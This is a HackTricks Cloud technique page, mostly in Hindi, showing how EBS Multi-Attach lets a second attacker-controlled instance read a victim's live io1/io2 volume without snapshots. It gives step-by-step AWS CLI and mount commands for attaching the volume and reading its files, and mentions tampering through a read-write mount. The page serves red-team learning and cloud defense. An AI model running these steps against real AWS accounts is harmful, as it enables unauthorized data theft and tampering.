AWS - Live Data Theft via EBS Multi-Attach
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
सारांश
EBS Multi-Attach का दुरुपयोग करके एक live io1/io2 डेटा वॉल्यूम को उसी Availability Zone (AZ) में attacker-controlled instance से attach करके पढ़ें। shared volume को read-only के रूप में mount करने से बिना snapshots बनाए हुए in-use फाइलों तक तुरंत पहुँच मिलती है।
आवश्यकताएँ
- Target volume: io1 or io2 जो
--multi-attach-enabledके साथ उसी AZ में बनाया गया हो जहाँ attacker instance मौजूद है। - Permissions:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancestarget volume/instances पर। - Infrastructure: Nitro-based instance types जो Multi-Attach को सपोर्ट करते हैं (C5/M5/R5 families, आदि)।
नोट्स
- Mount read-only with
-o ro,noloadताकि corruption का जोखिम कम रहे और journal replays से बचा जा सके। - Nitro instances पर EBS NVMe device एक स्थिर
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...path expose करता है (सहायक नीचे)।
Multi-Attach io2 volume तैयार करें और उसे victim पर attach करें
उदाहरण (us-east-1a में बनाएं और victim पर attach करें):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
victim पर, नए volume को format/mount करें और संवेदनशील डेटा लिखें (उदाहरण के लिए):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
उसी volume को attacker instance पर attach करें
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
attacker पर read-only Mount करके डेटा पढ़ें
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
अपेक्षित परिणाम: वही VOL_ID कई Attachments (victim and attacker) दिखाता है और attacker बिना किसी snapshot बनाए victim द्वारा लिखी गई फाइलें पढ़ सकता है।
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
सहायक: Volume ID से NVMe डिवाइस पथ खोजें
Nitro instances पर, उस stable by-id path का उपयोग करें जो volume id को समाविष्ट करता है ( vol के बाद वाले डैश को हटा दें):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impact
- लक्षित EBS वॉल्यूम पर बिना snapshots बनाए लाइव डेटा तक तत्काल read access।
- यदि इसे read-write के रूप में mount किया गया है तो attacker पीड़ित की filesystem को छेड़छाड़ कर सकता है (डेटा करप्शन का जोखिम)।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud